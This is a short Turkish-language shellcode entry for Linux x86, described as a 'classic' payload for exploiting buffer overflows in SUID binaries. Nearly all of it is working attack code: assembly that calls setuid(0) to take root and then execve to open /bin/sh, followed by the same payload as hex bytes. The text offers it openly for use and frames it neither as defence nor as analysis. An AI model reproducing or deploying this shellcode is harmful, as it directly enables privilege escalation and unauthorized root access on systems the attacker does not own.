Klasik Shellcode - Linux x86 - 37 Bytes
SUID biti set edilmis binary'lerdeki buffer overflow zafiyetlerini somürmek icin tasarlanmis klasik shellcode. Once setuid(0) ile kullanici ID'sini root'a ceker, ardindan kabuk acar.
Assembly
; setuid(0)
xor ebx, ebx ; uid = 0
xor eax, eax
mov al, 0x17 ; syscall 23 = setuid
int 0x80
; execve
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0x0b ; syscall 11 = execve
int 0x80
Hex
\x31\xdb\x31\xc0\xb0\x17\xcd\x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80